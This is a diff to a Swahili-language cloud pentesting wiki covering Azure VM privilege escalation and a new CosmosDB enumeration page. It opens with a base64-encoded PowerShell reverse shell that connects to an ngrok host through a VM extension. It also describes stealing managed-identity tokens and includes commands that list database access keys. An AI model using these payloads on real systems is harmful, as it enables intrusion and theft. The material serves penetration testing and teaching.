--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Tekeleza shell ya kurudi kutoka kwa faili
|
||||
- Tekelea shell ya kinyume kutoka kwa faili
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -87,7 +87,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Pia inawezekana kutumia nyongeza zinazojulikana vizuri ili kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:
|
||||
Pia inawezekana kutumia nyongeza zinazojulikana vizuri kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
Hii ni **VM extensio**n inayomilikiwa na Microsoft inayotumia PowerShell DSC kusimamia usanidi wa Azure Windows VMs. Hivyo, inaweza kutumika **kutekeleza amri za kawaida** katika Windows VMs kupitia nyongeza hii:
|
||||
Hii ni **VM extensio**n inayomilikiwa na Microsoft inayotumia PowerShell DSC kusimamia usanidi wa Azure Windows VMs. Hivyo, inaweza kutumika **kutekeleza amri zisizo na mipaka** katika Windows VMs kupitia nyongeza hii:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -157,15 +157,15 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
Hii ni nyongeza ya VM ambayo itaruhusu kutekeleza runbooks katika VMs kutoka kwa akaunti ya automatisering. Kwa maelezo zaidi angalia huduma ya [Automation Accounts](../az-services/az-automation-account/).
|
||||
Hii ni nyongeza ya VM ambayo itaruhusu kutekeleza runbooks katika VMs kutoka kwa akaunti ya automatisering. Kwa maelezo zaidi angalia huduma ya [Automation Accounts](../az-services/az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
Hizi ndizo ruhusa zinazohitajika ili **kuunda programu mpya ya galleri na kuitekeleza ndani ya VM**. Programu za galleri zinaweza kutekeleza chochote hivyo mshambuliaji anaweza kutumia hii kuathiri mifano ya VM zinazotekeleza amri zisizo na mipaka.
|
||||
Hizi ni ruhusa zinazohitajika ili **kuunda programu mpya ya galleri na kuitekeleza ndani ya VM**. Programu za galleri zinaweza kutekeleza chochote hivyo mshambuliaji anaweza kutumia hii kuathiri mifano ya VM zinazotekeleza amri zisizo na mipaka.
|
||||
|
||||
Ruhusa 2 za mwisho zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.
|
||||
Ruhusa za mwisho 2 zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.
|
||||
|
||||
Mfano wa unyakuzi wa kutekeleza amri zisizo na mipaka:
|
||||
|
||||
@@ -251,7 +251,7 @@ az vm application set \
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
Hii ndiyo njia ya msingi zaidi ambayo Azure inatoa ili **kutekeleza amri za kawaida katika VMs:**
|
||||
Hii ndiyo njia ya msingi zaidi ambayo Azure inatoa ili **kutekeleza amri za kiholela katika VMs:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -310,7 +310,7 @@ Ingia kupitia **SSH** na **`az ssh vm --name <vm-name> --resource-group <rsc-gro
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Hizi zote ni ruhusa muhimu za **kuunda VM yenye utambulisho maalum wa kusimamiwa** na kuacha **bandari wazi** (22 katika kesi hii). Hii inamruhusu mtumiaji kuunda VM na kuungana nayo na **kuchukua token za utambulisho wa kusimamiwa** ili kupandisha mamlaka kwake.
|
||||
Hizi zote ni ruhusa muhimu za **kuunda VM yenye utambulisho maalum wa kusimamiwa** na kuacha **bandari wazi** (22 katika kesi hii). Hii inamruhusu mtumiaji kuunda VM na kuungana nayo na **kuiba token za utambulisho wa kusimamiwa** ili kupandisha mamlaka kwake.
|
||||
|
||||
Kulingana na hali, ruhusa zaidi au chache zinaweza kuhitajika ili kutumia mbinu hii.
|
||||
```bash
|
||||
@@ -346,11 +346,11 @@ az vm identity assign \
|
||||
Kisha mshambuliaji anahitaji kuwa **amevunjika somehow VM** ili kuiba tokens kutoka kwa utambulisho wa usimamizi uliotolewa. Angalia **maelezo zaidi katika**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
Kulingana na [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), ruhusa hii inakuwezesha kusimamia OS ya rasilimali yako kupitia Windows Admin Center kama msimamizi. Hivyo inaonekana hii inatoa ufikiaji kwa WAC kudhibiti VMs...
|
||||
Kulingana na [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), ruhusa hii inakuwezesha kusimamia OS ya rasilimali yako kupitia Windows Admin Center kama msimamizi. Hivyo inaonekana kama hii inatoa ufikiaji wa WAC kudhibiti VMs...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
357
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
Normal file
357
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
Normal file
@@ -0,0 +1,357 @@
|
||||
# Az - CosmosDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** ni **hifadhidata ya NoSQL, ya uhusiano, na ya vector** inayosimamiwa kikamilifu inayo toa nyakati za majibu za milisekunde moja, upanuzi wa kiotomatiki, na upatikanaji unaoungwa mkono na SLA pamoja na usalama wa kiwango cha biashara. Inaruhusu maendeleo ya programu kwa haraka kupitia usambazaji wa data wa mikoa mingi, APIs za chanzo wazi, SDKs za lugha maarufu, na vipengele vya hifadhidata vya AI kama vile msaada wa vector uliojumuishwa na uunganisho usio na mshono wa Azure AI.
|
||||
|
||||
Azure Cosmos DB inatoa APIs nyingi za hifadhidata ili kuunda mfano wa data halisi kwa kutumia nyaraka, uhusiano, modeli za data za funguo-thamani, grafu, na familia za safu, ambapo hizi APIs ni NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin na Table.
|
||||
|
||||
Moja ya vipengele muhimu vya CosmosDB ni Akaunti ya Azure Cosmos. **Akaunti ya Azure Cosmos**, inafanya kazi kama lango la kuingia kwenye hifadhidata. Akaunti inamua mipangilio muhimu kama vile usambazaji wa kimataifa, viwango vya usawa, na API maalum itakayotumika, kama vile NoSQL. Kupitia akaunti, unaweza kuunda upya wa kimataifa ili kuhakikisha data inapatikana katika mikoa mingi kwa ufikiaji wa chini wa latency. Zaidi ya hayo, unaweza kuchagua kiwango cha usawa kinacholingana kati ya utendaji na usahihi wa data, ikiwa na chaguzi zinazotofautiana kutoka kwa Usawa Imara hadi Usawa wa Hatimaye.
|
||||
|
||||
### NoSQL (sql)
|
||||
API ya Azure Cosmos DB NoSQL ni API inayotegemea nyaraka inayotumia JSON kama muundo wake wa data. Inatoa sintaksia ya kuhoji inayofanana na SQL kwa kuhoji vitu vya JSON, na kuifanya iweze kutumika kwa kazi na data iliyopangwa na semi-iliyopangwa. Kituo cha huduma ni:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
https://<Account-Name>.documents.azure.com:443/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Databases
|
||||
Katika akaunti, unaweza kuunda moja au zaidi ya hifadhidata, ambazo hutumikia kama makundi ya mantiki ya kontena. Hifadhidata inafanya kazi kama mpaka wa usimamizi wa rasilimali na ruhusa za mtumiaji. Hifadhidata zinaweza kushiriki kupitia uwezo wa kupangwa kati ya kontena zao au kugawa uwezo maalum kwa kontena binafsi.
|
||||
|
||||
#### Containers
|
||||
Kitengo cha msingi cha uhifadhi wa data ni kontena, ambacho kinashikilia hati za JSON na kimepangwa kiotomatiki kwa ajili ya uchunguzi wa ufanisi. Kontena zinaweza kupanuliwa kwa urahisi na kusambazwa kati ya sehemu, ambazo zinatolewa na ufunguo wa sehemu ulioelezwa na mtumiaji. Ufunguo wa sehemu ni muhimu kwa kuhakikisha utendaji bora na usambazaji sawa wa data. Kwa mfano, kontena inaweza kuhifadhi data za wateja, huku "customerId" ikiwa kama ufunguo wa sehemu.
|
||||
|
||||
#### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
az cosmosdb list --resource-group <ResourceGroupName>
|
||||
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
## Lists the virtual network accounts associated with a Cosmos DB account
|
||||
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
|
||||
## List the access keys or connection strings for a Azure Cosmos DB
|
||||
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
|
||||
## List all the database accounts that can be restored.
|
||||
az cosmosdb restorable-database-account list --account-name <AccountName>
|
||||
## Show the identities for a Azure Cosmos DB database account.
|
||||
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
|
||||
# CosmoDB (NoSQL)
|
||||
## List the SQL databases under an Azure Cosmos DB account.
|
||||
az cosmosdb sql database list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
## List the SQL containers under an Azure Cosmos DB SQL database.
|
||||
az cosmosdb sql container list --account-name <AccountName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
## List all SQL role assignments under an Azure Cosmos DB
|
||||
az cosmosdb sql role assignment list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
## List all SQL role definitions under an Azure Cosmos DB
|
||||
az cosmosdb sql role definition list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
|
||||
## List the SQL stored procedures under an Azure Cosmos DB
|
||||
az cosmosdb sql stored-procedure list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
## List the SQL triggers under an Azure Cosmos DB SQL container.
|
||||
az cosmosdb sql trigger list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
## List the SQL user defined functions under an Azure Cosmos DB SQL container
|
||||
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.CosmosD
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
|
||||
|
||||
# Get the access keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
|
||||
|
||||
# Retrieve the client encryption keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# List all SQL containers in a specific Cosmos DB SQL database.
|
||||
Get-AzCosmosDBSqlContainer -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# Get backup information for a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlContainerBackupInformation -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>" -Location "<location>"
|
||||
|
||||
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlContainerThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>"
|
||||
|
||||
# List all SQL databases under a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlDatabase -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL database.
|
||||
Get-AzCosmosDBSqlDatabaseThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -Name "<DatabaseName>"
|
||||
|
||||
# List all SQL role assignments for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlRoleAssignment -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# List all SQL role definitions for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlRoleDefinition -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# List all stored procedures in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlStoredProcedure -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
|
||||
# List all triggers in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
|
||||
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Muunganisho
|
||||
|
||||
Ili kuungana na azure-cosmosDB (pip install azure-cosmos) maktaba inahitajika. Zaidi ya hayo, mwisho wa huduma na ufunguo ni vipengele muhimu ili kufanya muunganisho.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
|
||||
# Connection details
|
||||
endpoint = "<your-account-endpoint>"
|
||||
key = "<your-account-key>"
|
||||
|
||||
# Initialize Cosmos Client
|
||||
client = CosmosClient(endpoint, key)
|
||||
|
||||
# Access existing database and container
|
||||
database_name = '<SampleDB>'
|
||||
container_name = '<SampleContainer>'
|
||||
database = client.get_database_client(database_name)
|
||||
container = database.get_container_client(container_name)
|
||||
|
||||
# Insert multiple documents
|
||||
items_to_insert = [
|
||||
{"id": "1", "name": "Sample Item", "description": "This is a sample document."},
|
||||
{"id": "2", "name": "Another Sample Item", "description": "This is another sample document."},
|
||||
{"id": "3", "name": "Sample Item", "description": "This is a duplicate name sample document."},
|
||||
]
|
||||
|
||||
for item in items_to_insert:
|
||||
container.upsert_item(item)
|
||||
|
||||
# Query all documents
|
||||
query = "SELECT * FROM c"
|
||||
all_items = list(container.query_items(
|
||||
query=query,
|
||||
enable_cross_partition_query=True
|
||||
))
|
||||
|
||||
# Print all queried items
|
||||
print("All items in the container:")
|
||||
for item in all_items:
|
||||
print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Njia nyingine ya kuanzisha muunganisho ni kutumia **DefaultAzureCredential()**. Inahitaji tu kuingia (az login) na akaunti ambayo ina ruhusa na kuitekeleza. Kwa kesi hii, lazima ifanyike ugawaji wa jukumu, ikitoa ruhusa zinazohitajika (ona kwa mor)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.cosmos import CosmosClient
|
||||
|
||||
# Use Azure AD for authentication
|
||||
credential = DefaultAzureCredential()
|
||||
endpoint = "<your-account-endpoint>"
|
||||
client = CosmosClient(endpoint, credential)
|
||||
|
||||
# Access database and container
|
||||
database_name = "<mydatabase>"
|
||||
container_name = "<mycontainer>"
|
||||
database = client.get_database_client(database_name)
|
||||
container = database.get_container_client(container_name)
|
||||
|
||||
# Insert a document
|
||||
item = {
|
||||
"id": "1",
|
||||
"name": "Sample Item",
|
||||
"description": "This is a test item."
|
||||
}
|
||||
container.create_item(item)
|
||||
print("Document inserted.")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### MongoDB
|
||||
API ya MongoDB NoSQL ni API inayotegemea hati ambayo inatumia BSON (Binary JSON) kama muundo wake wa data. Inatoa lugha ya kuuliza yenye uwezo wa kujumlisha, na kuifanya iweze kutumika kwa kazi na data iliyopangwa, nusu iliyopangwa, na isiyo na muundo. Kituo cha huduma kwa kawaida kinafuata muundo huu:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Hifadhidata
|
||||
Katika MongoDB, unaweza kuunda hifadhidata moja au zaidi ndani ya mfano. Kila hifadhidata inatumika kama kundi la kimantiki la makusanyo na inatoa mipaka kwa ajili ya shirika na usimamizi wa rasilimali. Hifadhidata husaidia kutenganisha na kusimamia data kwa kimantiki, kama vile kwa programu au miradi tofauti.
|
||||
|
||||
#### Makusanyo
|
||||
Kitengo cha msingi cha uhifadhi wa data katika MongoDB ni makusanyo, ambayo yanaweka hati na yameundwa kwa ajili ya uchunguzi mzuri na muundo wa skimu unaoweza kubadilishwa. Makusanyo yanaweza kupanuka kwa urahisi na yanaweza kusaidia operesheni zenye kiwango kikubwa katika nodi nyingi katika mpangilio wa kusambazwa.
|
||||
|
||||
#### Uhesabu
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
az cosmosdb list --resource-group <ResourceGroupName>
|
||||
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
## Lists the virtual network accounts associated with a Cosmos DB account
|
||||
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
|
||||
## List the access keys or connection strings for a Azure Cosmos DB
|
||||
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
|
||||
## List all the database accounts that can be restored.
|
||||
az cosmosdb restorable-database-account list --account-name <AccountName>
|
||||
## Show the identities for a Azure Cosmos DB database account.
|
||||
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.CosmosDB
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
|
||||
|
||||
# Get the access keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
|
||||
|
||||
# Retrieve the client encryption keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# List all MongoDB collections in a specific database.
|
||||
Get-AzCosmosDBMongoDBCollection -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
|
||||
|
||||
# Retrieve backup information for a specific MongoDB collection in a database.
|
||||
Get-AzCosmosDBMongoDBCollectionBackupInformation -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name> -Location <Location>
|
||||
|
||||
# Get the throughput (RU/s) of a specific MongoDB collection in a database.
|
||||
Get-AzCosmosDBMongoDBCollectionThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name> -Name <collection-name>
|
||||
|
||||
# List all MongoDB databases in a specified Cosmos DB account.
|
||||
Get-AzCosmosDBMongoDBDatabase -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
# Get the throughput (RU/s) of a specific MongoDB database.
|
||||
Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGroupName <resource-group-name> -DatabaseName <database-name>
|
||||
|
||||
# Retrieve the role definitions for MongoDB users in a specified Cosmos DB account.
|
||||
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Muunganisho
|
||||
|
||||
Hapa ndivyo nenosiri unavyoweza kuyapata kwa funguo au kwa njia iliyoelezewa katika sehemu ya privesc.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
# Updated connection string with retryWrites=false
|
||||
connection_string = "mongodb://<account-name>.mongo.cosmos.azure.com:10255/?ssl=true&replicaSet=globaldb&retryWrites=false"
|
||||
|
||||
# Create the client
|
||||
client = MongoClient(connection_string, username="<username>", password="<password>")
|
||||
|
||||
# Access the database
|
||||
db = client['<database>']
|
||||
|
||||
# Access a collection
|
||||
collection = db['<collection>']
|
||||
|
||||
# Insert a single document
|
||||
document = {
|
||||
"name": "John Doe",
|
||||
"email": "johndoe@example.com",
|
||||
"age": 30,
|
||||
"address": {
|
||||
"street": "123 Main St",
|
||||
"city": "Somewhere",
|
||||
"state": "CA",
|
||||
"zip": "90210"
|
||||
}
|
||||
}
|
||||
|
||||
# Insert document
|
||||
result = collection.insert_one(document)
|
||||
print(f"Inserted document with ID: {result.inserted_id}")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Marejeleo
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
|
||||
## Kuinua Privilege
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Baada ya Utekelezaji
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kitu cha Kufanya
|
||||
|
||||
* Sehemu nyingine za DB hapa, meza, cassandra, gremlin...
|
||||
* Angalia utekelezaji wa "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" na ufafanuzi wa majukumu kwa sababu hapa kunaweza kuwa na privesc
|
||||
* Angalia urejeleaji
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
